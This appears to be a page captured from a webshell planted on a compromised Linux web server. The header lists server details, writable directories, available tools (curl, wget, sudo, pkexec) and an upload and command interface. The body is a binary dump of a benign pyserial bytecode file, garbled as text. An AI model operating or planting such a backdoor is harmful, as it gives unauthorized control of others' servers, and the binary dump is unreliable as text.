403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.229
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/serial/urlhandler/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/serial/urlhandler/__pycache__/protocol_alt.cpython-310.pyc
o

��^��@sjddlmZzddlZWneyddlmZYnwddlZdd�Zedkr3e�	d�Z
ee
�dSdS)�)�absolute_importNc
Cs�t�|�}|jdkrt�d�|j���d}zt�|jd���D]\}}|dkr,|d}qt	d�|���Wnt	yH}zt�d�|���d	}~wwt
t|�sUt	d
�|���tt|�}t|tj
�sgt	d�|���d�|j|jg�|fS)
z(extract host and port from an URL string�altzmexpected a string in the form "alt://port[?option[=value][&option[=value]]]": not starting with alt:// ({!r})�SerialT�classrzunknown option: {!r}zRexpected a string in the form "alt://port[?option[=value][&option[=value]]]": {!r}Nzunknown class: {!r}z'class {!r} is not an instance of Serial�)�urlparse�urlsplit�scheme�serial�SerialException�format�parse_qs�query�items�
ValueError�hasattr�getattr�
issubclassr�join�netloc�path)�url�parts�
class_name�option�values�e�cls�r�@/usr/lib/python3/dist-packages/serial/urlhandler/protocol_alt.py�serial_class_for_urls4

�
����

r �__main__z&alt:///dev/ttyS0?class=PosixPollSerial)�
__future__rr�ImportError�urllib.parse�parser
r �__name__�serial_for_url�s�printrrrr�<module>s�
�

Youez - 2016 - github.com/yon3zu
LinuXploit